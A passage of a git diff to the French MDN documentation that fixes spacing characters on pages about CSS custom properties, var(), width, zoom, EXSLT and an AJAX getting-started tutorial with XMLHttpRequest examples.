entièrement, devient alors une tâche complexe demandant de la précision, là où un simple trouver et remplacer ne suffit pas. -Le problème peut s'aggraver en utilisant les _frameworks_ CSS puisque modifier une couleur demande de modifier le framework lui-même. Les pré-processeurs comme [LESS](https://lesscss.org/) ou [Sass](https://sass-lang.com/) peuvent faciliter cette tâche, mais peuvent également complexifier le processus de création en ajoutant une étape de compilation. Les propriétés personnalisées permettent d'utiliser une des principales fonctionnalités des pré-processeurs, sans cette étape de compilation. +Le problème peut s'aggraver en utilisant les _frameworks_ CSS puisque modifier une couleur demande de modifier le framework lui-même. Les pré-processeurs comme [LESS](https://lesscss.org/) ou [Sass](https://sass-lang.com/) peuvent faciliter cette tâche, mais peuvent également complexifier le processus de création en ajoutant une étape de compilation. Les propriétés personnalisées permettent d'utiliser une des principales fonctionnalités des pré-processeurs, sans cette étape de compilation. -Le deuxième avantage de ces variables vient du fait que le nom lui-même contient des informations sémantiques. Les fichiers CSS deviennent alors plus facile à lire et à comprendre : écrire `main-text-color` permet de mieux s'y retrouver au fur et à mesure de la lecture qu'une valeur hexadécimale comme `#00ff00`, surtout si la même couleur est utilisée dans un autre contexte. +Le deuxième avantage de ces variables vient du fait que le nom lui-même contient des informations sémantiques. Les fichiers CSS deviennent alors plus facile à lire et à comprendre : écrire `main-text-color` permet de mieux s'y retrouver au fur et à mesure de la lecture qu'une valeur hexadécimale comme `#00ff00`, surtout si la même couleur est utilisée dans un autre contexte. ## Définition Les propriétés personnalisées ont actuellement deux formes : -- les variables, qui sont des associations entre un identifiant et une valeur utilisables à la place de n'importe quelle valeur normale, en utilisant la notation fonctionnelle `var()` : `var(--example-variable)` retourne la valeur de `--example-variable`. -- les propriétés personnalisées, qui sont des propriétés spéciales notées `--*` où `*` représente le nom de la variable. Elles sont utilisées pour définir la valeur d'une variable donnée : `--example-variable: 20px;` est une déclaration en CSS, utilisant la propriété personnalisée `--*` pour initialiser la valeur de la variable CSS `--example-variable` à `20px`. +- les variables, qui sont des associations entre un identifiant et une valeur utilisables à la place de n'importe quelle valeur normale, en utilisant la notation fonctionnelle `var()` : `var(--example-variable)` retourne la valeur de `--example-variable`. +- les propriétés personnalisées, qui sont des propriétés spéciales notées `--*` où `*` représente le nom de la variable. Elles sont utilisées pour définir la valeur d'une variable donnée : `--example-variable: 20px;` est une déclaration en CSS, utilisant la propriété personnalisée `--*` pour initialiser la valeur de la variable CSS `--example-variable` à `20px`. -> **Note :** Le préfixe de propriété personnalisée était noté `var-` dans les précédentes spécifications, mais a ensuite été changé pour `--`. Firefox 31 et supérieurs respectent cette nouvelle notation. ({{bug(985838)}}) +> **Note :** Le préfixe de propriété personnalisée était noté `var-` dans les précédentes spécifications, mais a ensuite été changé pour `--`. Firefox 31 et supérieurs respectent cette nouvelle notation. ({{bug(985838)}}) Les propriétés personnalisées sont similaires aux propriétés ordinaires. Elles sont sujettes à la cascade et héritent leur valeur de leur parent si elles ne sont pas redéfinies. @@ -103,7 +103,7 @@ ce qui donne ceci : {{EmbedLiveSample("Exemple_1",600,180)}} -Remarquez la répétition dans le CSS. La couleur d'arrière-plan est définie à `brown` à plusieurs endroits. Certaines déclarations peuvent être faites plus haut dans la cascade et le problème se résoudra grâce à l'héritage. Mais pour des projets non-triviaux, cela n'est pas toujours possible. En déclarant une variable dans la pseudo-classe {{cssxref(":root")}}, un développeur CSS peut éviter certaines répétitions en utilisant cette variable. +Remarquez la répétition dans le CSS. La couleur d'arrière-plan est définie à `brown` à plusieurs endroits. Certaines déclarations peuvent être faites plus haut dans la cascade et le problème se résoudra grâce à l'héritage. Mais pour des projets non-triviaux, cela n'est pas toujours possible. En déclarant une variable dans la pseudo-classe {{cssxref(":root")}}, un développeur CSS peut éviter certaines répétitions en utilisant cette variable. ### Exemple 2 @@ -217,7 +217,7 @@ Le premier argument passé à la fonction est le nom de la [propriété personna } ``` -> **Note :** La syntaxe pour la valeur de recours, comme celle des [propriétés personnalisées](https://www.w3.org/TR/css-variables/#custom-property), permet d'utiliser une virgule. Ainsi, `var(--toto, red, blue)` définit une valeur de recours égale à `red, blue`, c'est-à-dire tout ce qui est écrit après la première virgule. Si la deuxième valeur est incorrecte, elle ne pourra pas être utilisée et la règle sera invalide. +> **Note :** La syntaxe pour la valeur de recours, comme celle des [propriétés personnalisées](https://www.w3.org/TR/css-variables/#custom-property), permet d'utiliser une virgule. Ainsi, `var(--toto, red, blue)` définit une valeur de recours égale à `red, blue`, c'est-à-dire tout ce qui est écrit après la première virgule. Si la deuxième valeur est incorrecte, elle ne pourra pas être utilisée et la règle sera invalide. > > La syntaxe de la deuxième règle (sur `.trois`) permet d'utiliser une autre variable comme variable de secours et une autre valeur (`pink`) dans le cas où cette deuxième variable ne fonctionne pas. @@ -225,7 +225,7 @@ Le premier argument passé à la fonction est le nom de la [propriété personna ## Validité et valeurs -Le concept classique de validité en CSS, lié à chaque propriété, n'est pas très utile en ce qui concerne les propriétés personnalisées. Quand la valeur d'une propriété personnalisée est lue, le navigateur ne sait pas à quel moment elle sera utilisée. Il doit donc considérer quasiment toutes les valeurs comme _valides_. +Le concept classique de validité en CSS, lié à chaque propriété, n'est pas très utile en ce qui concerne les propriétés personnalisées. Quand la valeur d'une propriété personnalisée est lue, le navigateur ne sait pas à quel moment elle sera utilisée. Il doit donc considérer quasiment toutes les valeurs comme _valides_. Malheureusement, ces valeurs valides peuvent être utilisées, via la notation fonctionnelle `var()`, dans un contexte où cela n'aurait pas de sens. Les propriétés et variables personnalisées peuvent mener à des déclarations CSS invalides, conduisant à un nouveau concept de _valide lors de l'exécution_. @@ -279,7 +279,7 @@ element.style.setProperty("--ma-variable", varJS + 4); {{Compat("css.properties.custom-property")}} -> **Note :** Dans les versions antérieures de la spécification, le préfixe indiquant les propriétés personnalisées était `var-`. Ce préfixe a ensuite été modifié en `--`. et Firefox 31 et les versions ultérieures respectent cette spécification (cf. {{bug(985838)}}) +> **Note :** Dans les versions antérieures de la spécification, le préfixe indiquant les propriétés personnalisées était `var-`. Ce préfixe a ensuite été modifié en `--`. et Firefox 31 et les versions ultérieures respectent cette spécification (cf. {{bug(985838)}}) ## Voir aussi diff --git a/files/fr/web/css/value_definition_syntax/index.md b/files/fr/web/css/value_definition_syntax/index.md index 8b54577326..f557232db0 100644 --- a/files/fr/web/css/value_definition_syntax/index.md +++ b/files/fr/web/css/value_definition_syntax/index.md @@ -271,7 +271,7 @@ Mais pas à : <th colspan="4">Combinateurs</th> </tr> <tr> - <td> </td> + <td></td> <td>Juxtaposition</td> <td> Les composants sont obligatoires et doivent apparaître dans cet ordre. @@ -317,7 +317,7 @@ Mais pas à : <th colspan="4">Multiplicateurs</th> </tr> <tr> - <td> </td> + <td></td> <td>Aucun multiplicateur</td> <td>Exactement 1 fois.</td> <td><code>solid</code></td> diff --git a/files/fr/web/css/var()/index.md b/files/fr/web/css/var()/index.md index f57afd0f16..4cefbea53b 100644 --- a/files/fr/web/css/var()/index.md +++ b/files/fr/web/css/var()/index.md @@ -34,7 +34,7 @@ Le premier argument de la fonction est le nom de la propriété qu'on veut subst - `<declaration-value>` - : Une valeur de subsitution qui peut être utilisée afin que la règle soit valide si la valeur du premier argument ne peut être utilisée ici. -## Exemples +## Exemples ```css :root{ diff --git a/files/fr/web/css/viewport_concepts/index.md b/files/fr/web/css/viewport_concepts/index.md index 54c2a8f1fc..c9c9e09d63 100644 --- a/files/fr/web/css/viewport_concepts/index.md +++ b/files/fr/web/css/viewport_concepts/index.md @@ -113,8 +113,8 @@ Lorsqu'on utilise une requête média à l'intérieur du document de l'_iframe_, ```css @media screen and (min-width: 500px) { p { - color: red; - } + color: red; + } } ``` diff --git a/files/fr/web/css/visual_formatting_model/index.md b/files/fr/web/css/visual_formatting_model/index.md index d1972480ec..e8dddca2bc 100644 --- a/files/fr/web/css/visual_formatting_model/index.md +++ b/files/fr/web/css/visual_formatting_model/index.md @@ -59,7 +59,7 @@ Si on prend le code HTML suivant, mis en forme avec les règles par défaut (`di ``` On aura deux boîtes de bloc anonymes qui seront créées : une pour le texte avant le paragraphe et une pour le texte après. On aura alors la structure suivante : -  +  À la différence de la boîte des éléments {{HTMLElement("p")}}, les développeurs ne peuvent pas contrôler la mise en forme des boîtes anonymes. Les propriétés qui héritent des éléments parents récupèreront la valeur obtenue pour l'élément {{HTMLElement("div")}} et les autres propriétés auront la valeur `initial`. diff --git a/files/fr/web/css/width/index.md b/files/fr/web/css/width/index.md index 8822ee52d2..f4aec06454 100644 --- a/files/fr/web/css/width/index.md +++ b/files/fr/web/css/width/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/width --- {{CSSRef}} -La propriété **`width`** permet de définir la largeur de la [boîte du contenu](/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte) d'un élément. Par défaut, sa valeur est **`auto`**, c'est à dire la largeur automatiquement calculée de son contenu. Si {{cssxref("box-sizing")}} vaut `border-box`, la valeur appliquée incluera les dimensions de la boîte d'encadrement (_border_) et de la boîte de remplissage (_padding_). +La propriété **`width`** permet de définir la largeur de la [boîte du contenu](/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte) d'un élément. Par défaut, sa valeur est **`auto`**, c'est à dire la largeur automatiquement calculée de son contenu. Si {{cssxref("box-sizing")}} vaut `border-box`, la valeur appliquée incluera les dimensions de la boîte d'encadrement (_border_) et de la boîte de remplissage (_padding_). {{EmbedInteractiveExample("pages/css/width.html")}} @@ -173,7 +173,7 @@ p.minblue { Il faut s'assurer que les éléments sur lesquels on utilise `width` ne sont pas tronqués et ne masquent pas d'autre contenu sur la page lorsque l'utilisateur zoome afin d'agrandir la taille du texte. - [Comprendre les règles WCAG 1.4](/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background) -- [_Understanding Success Criterion 1.4.4 | Understanding WCAG 2.0_ (en anglais)](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html) +- [_Understanding Success Criterion 1.4.4 | Understanding WCAG 2.0_ (en anglais)](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html) ## Spécifications diff --git a/files/fr/web/css/zoom/index.md b/files/fr/web/css/zoom/index.md index 43612f3a43..480eee20ab 100644 --- a/files/fr/web/css/zoom/index.md +++ b/files/fr/web/css/zoom/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/zoom --- {{CSSRef}}{{Non-standard_header}} -La propriété non-standard **`zoom`** permet de manipuler l'effet d'agrandissement d'un élément. Plutôt que cette propriété non-standard, mieux vaudra utiliser [les transformations CSS](/fr/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms), si possible. Cependant, contrairement aux transformations CSS, **`zoom`** affecte la taille de l'élément. +La propriété non-standard **`zoom`** permet de manipuler l'effet d'agrandissement d'un élément. Plutôt que cette propriété non-standard, mieux vaudra utiliser [les transformations CSS](/fr/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms), si possible. Cependant, contrairement aux transformations CSS, **`zoom`** affecte la taille de l'élément. ## Syntaxe @@ -62,7 +62,7 @@ zoom: unset; - {{cssxref("<percentage>")}} - : Le facteur de zoom à appliquer. `100%` est équivalent au mot-clé `normal`. Les valeurs supérieures à `100%` agrandissent l'élément et les valeurs inférieures le réduisent. - {{cssxref("<number>")}} - - : Le facteur de zoom à appliquer. La valeur fonctionne de la même façon que les pourcentages : `1.0` correspond à `normal` (ou `100%`) , les valeurs supérieures à `1.0` agrandissent l'élément et les valeurs inférieures le réduisent. + - : Le facteur de zoom à appliquer. La valeur fonctionne de la même façon que les pourcentages : `1.0` correspond à `normal` (ou `100%`) , les valeurs supérieures à `1.0` agrandissent l'élément et les valeurs inférieures le réduisent. ### Syntaxe formelle diff --git a/files/fr/web/demos/index.md b/files/fr/web/demos/index.md index 5f15606a20..9accd591f6 100644 --- a/files/fr/web/demos/index.md +++ b/files/fr/web/demos/index.md @@ -28,7 +28,7 @@ Mozilla supporte une large gamme de technologies open web vraiment intéressante - [Canvas ash1](https://glimr.rubyforge.org/cake/demos/canvas_ash.html) - [Canvas ash2](https://glimr.rubyforge.org/cake/demos/canvas_ash2.html) - [Canvas ash8](https://glimr.rubyforge.org/cake/demos/canvas_ash8.html) -- [3D on 2D Canvas](https://gyu.que.jp/jscloth/) +- [3D on 2D Canvas](https://gyu.que.jp/jscloth/) - [miniPaint - Image editor](https://viliusle.github.io/miniPaint/) ([source code](https://github.com/viliusle/miniPaint)) ### SVG diff --git a/files/fr/web/exslt/exsl/object-type/index.md b/files/fr/web/exslt/exsl/object-type/index.md index 70379ca04c..a65304c5ff 100644 --- a/files/fr/web/exslt/exsl/object-type/index.md +++ b/files/fr/web/exslt/exsl/object-type/index.md @@ -23,7 +23,7 @@ translation_of: Web/EXSLT/exsl/object-type ### Retourne -Le type de l'`objet`, qui sera un des types suivants : +Le type de l'`objet`, qui sera un des types suivants : - `string` (chaîne) - `number` (nombre) diff --git a/files/fr/web/exslt/index.md b/files/fr/web/exslt/index.md index 84969a2e4b..63cc37f311 100644 --- a/files/fr/web/exslt/index.md +++ b/files/fr/web/exslt/index.md @@ -8,7 +8,7 @@ tags: translation_of: Web/EXSLT --- {{ XsltRef() }} -EXSLT est un ensemble d'extensions à [XSLT](fr/XSLT). Un certain nombre de modules existent ; ceux qui sont supportés par Firefox sont listés ci-dessous : +EXSLT est un ensemble d'extensions à [XSLT](fr/XSLT). Un certain nombre de modules existent ; ceux qui sont supportés par Firefox sont listés ci-dessous : - [Common](#Common) (`exsl`) - : Fournit des éléments et des fonctions basiques d'extension. @@ -23,7 +23,7 @@ EXSLT est un ensemble d'extensions à [XSLT](fr/XSLT). Un certain nombre de modu ### Utilisation de EXSLT -Pour utiliser une fonction EXSLT, il faut déclarer son espace de noms comme espace de noms d'extension dans votre feuille de style. Par exemple, pour utiliser le package regexp : +Pour utiliser une fonction EXSLT, il faut déclarer son espace de noms comme espace de noms d'extension dans votre feuille de style. Par exemple, pour utiliser le package regexp : <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" diff --git a/files/fr/web/exslt/str/split/index.md b/files/fr/web/exslt/str/split/index.md index bf6f1c9984..26f6ff1033 100644 --- a/files/fr/web/exslt/str/split/index.md +++ b/files/fr/web/exslt/str/split/index.md @@ -25,11 +25,11 @@ translation_of: Web/EXSLT/str/split Un ensemble de nœuds d'éléments `token`, contenant chacun un `token` provenant de `chaîne`. -Par exemple : +Par exemple : str:split('livre, téléphone, ordinateur, chaise', ', ') -Retourne l'ensemble de nœuds suivant : +Retourne l'ensemble de nœuds suivant : <token>livre</token> <token>téléphone</token> diff --git a/files/fr/web/exslt/str/tokenize/index.md b/files/fr/web/exslt/str/tokenize/index.md index a7cfefe6fc..3e61c76c97 100644 --- a/files/fr/web/exslt/str/tokenize/index.md +++ b/files/fr/web/exslt/str/tokenize/index.md @@ -25,11 +25,11 @@ translation_of: Web/EXSLT/str/tokenize Un ensemble de nœuds d'éléments `token`, contenant chacun un `token` provenant de `chaîne`. -Par exemple : +Par exemple : str:tokenize('2007-09-14-03T11:40:23', '-T:') -Retourne l'ensemble de nœuds suivant : +Retourne l'ensemble de nœuds suivant : <token>2007</token> <token>09</token> diff --git a/files/fr/web/guide/ajax/getting_started/index.md b/files/fr/web/guide/ajax/getting_started/index.md index 7d9f75c8e5..b7bfd4eed9 100644 --- a/files/fr/web/guide/ajax/getting_started/index.md +++ b/files/fr/web/guide/ajax/getting_started/index.md @@ -10,11 +10,11 @@ Cet article vous guide à travers les bases d’AJAX et vous donne deux exemples ### Présentation d’AJAX -AJAX est un raccourci pour **A**synchronous **J**avaScript **A**nd **X**ML (JavaScript asynchrone et XML) inventé par Jesse James Garrett. Pour simplifier, il s’agit d’employer l’objet [`XMLHttpRequest`](/fr/XMLHttpRequest "fr/XMLHttpRequest") pour communiquer avec des serveurs. Il peut envoyer et recevoir des informations sous différents formats, dont JSON, XML, HTML ou texte. Son principal attrait est sa nature « asynchrone » ce qui signifie qu’il peut communiquer avec le serveur, échanger des données et mettre à jour la page sans avoir à la recharger. +AJAX est un raccourci pour **A**synchronous **J**avaScript **A**nd **X**ML (JavaScript asynchrone et XML) inventé par Jesse James Garrett. Pour simplifier, il s’agit d’employer l’objet [`XMLHttpRequest`](/fr/XMLHttpRequest "fr/XMLHttpRequest") pour communiquer avec des serveurs. Il peut envoyer et recevoir des informations sous différents formats, dont JSON, XML, HTML ou texte. Son principal attrait est sa nature « asynchrone » ce qui signifie qu’il peut communiquer avec le serveur, échanger des données et mettre à jour la page sans avoir à la recharger. -Les deux principales fonctionnalités d’AJAX permettent de : +Les deux principales fonctionnalités d’AJAX permettent de : -- faire des requêtes vers le serveur sans recharger la page ; +- faire des requêtes vers le serveur sans recharger la page ; - recevoir et travailler avec des données provenant du serveur. ### Étape 1 — Lancement d’une requête HTTP @@ -33,13 +33,13 @@ else if (window.ActiveXObject) { // IE 6 et antérieurs > **Note :** Pour illustrer le principe, le code ci-dessus est une version un peu simplifiée de celui qui est utilisé pour créer une instance XMLHTTP. Pour un exemple plus réaliste, voir l’étape 3 de cet article. -Après avoir fait une requête, vous recevrez une réponse du serveur. À ce stade, vous devez indiquer à l’objet `httpRequest` le nom de la fonction JavaScript qui traitera la réponse. Pour cela, assignez à la propriété `onreadystatechange` de l’objet le nom de la fonction JavaScript que vous envisagez d’utiliser, comme ceci : +Après avoir fait une requête, vous recevrez une réponse du serveur. À ce stade, vous devez indiquer à l’objet `httpRequest` le nom de la fonction JavaScript qui traitera la réponse. Pour cela, assignez à la propriété `onreadystatechange` de l’objet le nom de la fonction JavaScript que vous envisagez d’utiliser, comme ceci : ```js httpRequest.onreadystatechange = nomDeLaFonction; ``` -Notez qu’il n’y a ni parenthèses ni paramètres après le nom de la fonction, car vous ne faites qu’assigner une référence à la fonction sans l’appeler réellement. Alternativement, au lieu de donner un nom de fonction, vous pouvez utiliser la technique JavaScript de définition de fonctions à la volée (ce qu’on appelle une fonction anonyme), et définir à cet endroit les actions à effectuer sur la réponse, comme ceci : +Notez qu’il n’y a ni parenthèses ni paramètres après le nom de la fonction, car vous ne faites qu’assigner une référence à la fonction sans l’appeler réellement. Alternativement, au lieu de donner un nom de fonction, vous pouvez utiliser la technique JavaScript de définition de fonctions à la volée (ce qu’on appelle une fonction anonyme), et définir à cet endroit les actions à effectuer sur la réponse, comme ceci : ```js httpRequest.onreadystatechange = function() { @@ -47,18 +47,18 @@ httpRequest.onreadystatechange = function() { }; ``` -Ensuite, après avoir déclaré ce qui se produit lorsque la réponse est reçue, il s’agit de lancer effectivement la requête. Il faut pour cela appeler les méthodes `open()` et `send()` de l’objet `httpRequest`, comme ceci : +Ensuite, après avoir déclaré ce qui se produit lorsque la réponse est reçue, il s’agit de lancer effectivement la requête. Il faut pour cela appeler les méthodes `open()` et `send()` de l’objet `httpRequest`, comme ceci : ```js httpRequest.open('GET', 'http://www.example.org/some.file', true); httpRequest.send(); ``` -- Le premier paramètre de l’appel à `open()` est la méthode de requête HTTP — GET, POST, HEAD ou toute autre méthode gérée par votre serveur. Laissez le nom de la méthode en majuscules comme spécifié par la norme HTTP ; autrement certains navigateurs (comme Firefox) peuvent ne pas traiter la requête. Pour plus d’informations sur les méthodes de requêtes HTTP possibles, vous pouvez consulter les [spécifications du W3C](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html). -- Le second paramètre est l’URL à laquelle vous envoyez la requête. Pour des raisons de sécurité, il est par défaut impossible d’appeler des URL se situant sur un domaine de tierce-partie. Veillez à utiliser le nom de domaine exact sur toutes vos pages ou vous obtiendrez une erreur « permission refusée » lors de l’appel à `open()`. Une erreur courante est de charger le site via `domaine.tld`, mais d’essayer d’appeler des pages avec `www.domain.tld`. Si vous avez réellement besoin d’envoyer une requête vers un autre domaine, veuillez consulter [Cross-Origin Resource Sharing (CORS)](/fr/docs/Web/HTTP/CORS). -- Le troisième paramètre, optionnel, précise si la requête est asynchrone. Si mis à `true` (sa valeur par défaut), l’exécution de JavaScript se poursuivra, et l’utilisateur ou l’utilisatrice pourra interagir avec la page, en attendant l’arrivée de la réponse du serveur. C’est le premier « A » de « AJAX ». +- Le premier paramètre de l’appel à `open()` est la méthode de requête HTTP — GET, POST, HEAD ou toute autre méthode gérée par votre serveur. Laissez le nom de la méthode en majuscules comme spécifié par la norme HTTP ; autrement certains navigateurs (comme Firefox) peuvent ne pas traiter la requête. Pour plus d’informations sur les méthodes de requêtes HTTP possibles, vous pouvez consulter les [spécifications du W3C](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html). +- Le second paramètre est l’URL à laquelle vous envoyez la requête. Pour des raisons de sécurité, il est par défaut impossible d’appeler des URL se situant sur un domaine de tierce-partie. Veillez à utiliser le nom de domaine exact sur toutes vos pages ou vous obtiendrez une erreur « permission refusée » lors de l’appel à `open()`. Une erreur courante est de charger le site via `domaine.tld`, mais d’essayer d’appeler des pages avec `www.domain.tld`. Si vous avez réellement besoin d’envoyer une requête vers un autre domaine, veuillez consulter [Cross-Origin Resource Sharing (CORS)](/fr/docs/Web/HTTP/CORS). +- Le troisième paramètre, optionnel, précise si la requête est asynchrone. Si mis à `true` (sa valeur par défaut), l’exécution de JavaScript se poursuivra, et l’utilisateur ou l’utilisatrice pourra interagir avec la page, en attendant l’arrivée de la réponse du serveur. C’est le premier « A » de « AJAX ». -Le paramètre de la méthode `send()` peut être n’importe quelle donnée que vous voulez envoyer au serveur en cas d’utilisation de la méthode POST. Les données doivent être sous la forme d’une chaîne de requête, comme : +Le paramètre de la méthode `send()` peut être n’importe quelle donnée que vous voulez envoyer au serveur en cas d’utilisation de la méthode POST. Les données doivent être sous la forme d’une chaîne de requête, comme : ```js "nom=valeur&autrenom="+encodeURIComponent(autrevaleur)+"&ainsi=desuite" @@ -66,7 +66,7 @@ Le paramètre de la méthode `send()` peut être n’importe quelle donnée que Ou d’autres formats tels que `multipart/form-data`, JSON, XML, etc. -Notez que si vous voulez envoyer des données avec la méthode POST, vous aurez peut-être à changer le type MIME de la requête. Par exemple, utilisez ce qui suit avant d’appeler `send()` pour envoyer des données de formulaire en tant que chaîne de requête : +Notez que si vous voulez envoyer des données avec la méthode POST, vous aurez peut-être à changer le type MIME de la requête. Par exemple, utilisez ce qui suit avant d’appeler `send()` pour envoyer des données de formulaire en tant que chaîne de requête : ```js httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); @@ -90,7 +90,7 @@ if (httpRequest.readyState === XMLHttpRequest.DONE) { } ``` -La liste complète des valeurs de `readyState` est documentée sur [XMLHttpRequest.readyState](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest#Properties) et se résume de cette façon : +La liste complète des valeurs de `readyState` est documentée sur [XMLHttpRequest.readyState](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest#Properties) et se résume de cette façon : - 0 (non initialisée) ou (requête non initialisée) - 1 (en cours de chargement) ou (connexion établie avec le serveur) @@ -110,16 +110,16 @@ if (httpRequest.status === 200) { } ``` -Après avoir vérifié l’état de la requête et le code de statut HTTP de la réponse, vous pouvez traiter à votre guise les données envoyées par le serveur. Il existe deux manières d’accéder à ces données : +Après avoir vérifié l’état de la requête et le code de statut HTTP de la réponse, vous pouvez traiter à votre guise les données envoyées par le serveur. Il existe deux manières d’accéder à ces données : -- `httpRequest.responseText` — renvoie la réponse du serveur sous la forme d’une chaîne de texte ; +- `httpRequest.responseText` — renvoie la réponse du serveur sous la forme d’une chaîne de texte ; - `httpRequest.responseXML` — renvoie la réponse sous la forme d’un objet `XMLDocument` que vous pouvez parcourir à l’aide des fonctions DOM de JavaScript. Notez que les étapes ci-dessus sont valides uniquement si vous utilisez une requête asynchrone (Le 3e paramètre d’`open()` n’a pas été spécifié, ou a été défini à `true`). Si vous utilisez une requête **synchrone,** vous n’avez pas besoin de spécifier une fonction, mais c’est fortement découragé car cela entraîne une mauvaise expérience utilisateur. ### Étape 3 — Un exemple simple -Rassemblons tous ces éléments dans un exemple : une requête HTTP simple. Notre JavaScript demande un document HTML, `test.html`, qui contient le texte « Je suis un test. », puis nous affichons le contenu de la réponse dans un message `alert()`. Remarquez que cet exemple n’utilise que du pur JavaScript vanilla (pas de jQuery). D’autre part, les fichiers HTML, XML et PHP doivent être placés dans le même dossier. +Rassemblons tous ces éléments dans un exemple : une requête HTTP simple. Notre JavaScript demande un document HTML, `test.html`, qui contient le texte « Je suis un test. », puis nous affichons le contenu de la réponse dans un message `alert()`. Remarquez que cet exemple n’utilise que du pur JavaScript vanilla (pas de jQuery). D’autre part, les fichiers HTML, XML et PHP doivent être placés dans le même dossier. ```html <button id="ajaxButton" type="button">Faire une requête</button> @@ -154,20 +154,20 @@ Rassemblons tous ces éléments dans un exemple : une requête HTTP simple. No </script> ``` -Dans cet exemple : +Dans cet exemple : -- L’utilisateur ou l’utilisatrice clique sur le bouton « Faire une requête » ; -- Le gestionnaire d’évènement appelle la fonction `makeRequest()` ; +- L’utilisateur ou l’utilisatrice clique sur le bouton « Faire une requête » ; +- Le gestionnaire d’évènement appelle la fonction `makeRequest()` ; - la requête est faite, puis l’exécution est passée à `alertContents()` (via `onreadystatechange`); - `alertContents()` vérifie si la réponse reçue est correcte, et affiche ensuite le contenu du fichier `test.html` dans un message `alert()`. -> **Note :** Si vous envoyez une requête à du code qui renvoie du XML plutôt qu’un fichier HTML statique, vous devez spécifier des en-têtes de réponse pour que cela fonctionne avec Internet Explorer. Si vous ne spécifiez pas l’en-tête `Content-Type: application/xml`, IE émettra une erreur JavaScript « Objet attendu » après la ligne à laquelle vous avez tenté d’accéder à l’élément XML. +> **Note :** Si vous envoyez une requête à du code qui renvoie du XML plutôt qu’un fichier HTML statique, vous devez spécifier des en-têtes de réponse pour que cela fonctionne avec Internet Explorer. Si vous ne spécifiez pas l’en-tête `Content-Type: application/xml`, IE émettra une erreur JavaScript « Objet attendu » après la ligne à laquelle vous avez tenté d’accéder à l’élément XML. > **Note :** Si vous ne spécifiez pas l’en-tête `Cache-Control: no-cache`, le navigateur mettra la réponse en cache et n’effectuera plus jamais la requête ultérieurement, ce qui peut rendre le débogage difficile. Vous pouvez également ajouter un paramètre GET toujours différent, comme un timestamp ou un nombre aléatoire (voir [contourner le cache](https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest#Contourner_le_cache)). > **Note :** Si la variable `httpRequest` est utilisée globalement, des appels concurrents à `makeRequest()` peuvent s’écraser l’un l’autre, provoquant une situation de compétition _(race condition_). On peut s’en prémunir en déclarant la variable `httpRequest` locale à une [closure](/fr/docs/Web/JavaScript/Closures) contenant les fonctions AJAX. -Si une erreur de communication se produit (par exemple le serveur qui cesse de répondre), une exception sera levée dans la méthode `onreadystatechange` lors de l’accès à la propriété `status`. Pour atténuer ce problème, vous pouvez entourer votre bloc `if...then` dans un `try...catch` : +Si une erreur de communication se produit (par exemple le serveur qui cesse de répondre), une exception sera levée dans la méthode `onreadystatechange` lors de l’accès à la propriété `status`. Pour atténuer ce problème, vous pouvez entourer votre bloc `if...then` dans un `try...catch` : ```js function alertContents(httpRequest) { @@ -190,7 +190,7 @@ function alertContents(httpRequest) { Dans l’exemple précédent, après avoir reçu la réponse à la requête HTTP, nous avons utilisé la propriété `responseText` de l’objet, qui contenait le contenu du fichier `test.html`. Essayons maintenant la propriété `responseXML`. -Tout d’abord, créons un document XML valide qui sera l’objet de la requête. Le document (`test.xml`) contient ce qui suit : +Tout d’abord, créons un document XML valide qui sera l’objet de la requête. Le document (`test.xml`) contient ce qui suit : ```xml <?xml version="1.0" ?> @@ -199,7 +199,7 @@ Tout d’abord, créons un document XML valide qui sera l’objet de la requête </root> ``` -Dans le script, il est seulement nécessaire de remplacer la ligne de requête par : +Dans le script, il est seulement nécessaire de remplacer la ligne de requête par : ```html ... @@ -207,7 +207,7 @@ onclick="makeRequest('test.xml')"> ... ``` -Ensuite, dans `alertContents()`, il faut remplacer la ligne `alert(httpRequest.responseText);` par : +Ensuite, dans `alertContents()`, il faut remplacer la ligne `alert(httpRequest.responseText);` par : ```js var xmldoc = httpRequest.responseXML; @@ -223,9 +223,9 @@ Interwiki ### Étape 5 – Manipuler les données -Pour finir, envoyons quelques données au serveur et réceptionnons la réponse. Notre JavaScript demandera cette fois-ci une page dynamique, `test.php`, qui prendra notre contenu envoyé et revera une chaîne « calculée » – "Bonjour, \[user data] !" – que nous afficherons via `alert()`. +Pour finir, envoyons quelques données au serveur et réceptionnons la réponse. Notre JavaScript demandera cette fois-ci une page dynamique, `test.php`, qui prendra notre contenu envoyé et revera une chaîne « calculée » – "Bonjour, \[user data] !" – que nous afficherons via `alert()`. -D’abord, nous allons ajouter un boîte de texte dans notre HTML afin que l’utilisateur ou l’utilisatrice puisse saisir son nom : +D’abord, nous allons ajouter un boîte de texte dans notre HTML afin que l’utilisateur ou l’utilisatrice puisse saisir son nom : ```html <label>Vore nom : @@ -236,7 +236,7 @@ D’abord, nous allons ajouter un boîte de texte dans notre HTML afin que l’u </span> ``` -Nous allons également ajouter une ligne à notre gestionnaire d’événement pour obtenir les données de la boite de texte et les envoyer à la fonction `makeRequest()`, ainsi que l’URL de notre script côté serveur : +Nous allons également ajouter une ligne à notre gestionnaire d’événement pour obtenir les données de la boite de texte et les envoyer à la fonction `makeRequest()`, ainsi que l’URL de notre script côté serveur : ```js document.getElementById("ajaxButton").onclick = function() { @@ -245,7 +245,7 @@ Nous allons également ajouter une ligne à notre gestionnaire d’événement p }; ``` -Nous devons modifier `makeRequest()` afin d’accepter les données et les transmettre au serveur. Nous changerons la méthode de GET à POST et inclurons nos données en paramètres dans l’appel à `httpRequest.send()` : +Nous devons modifier 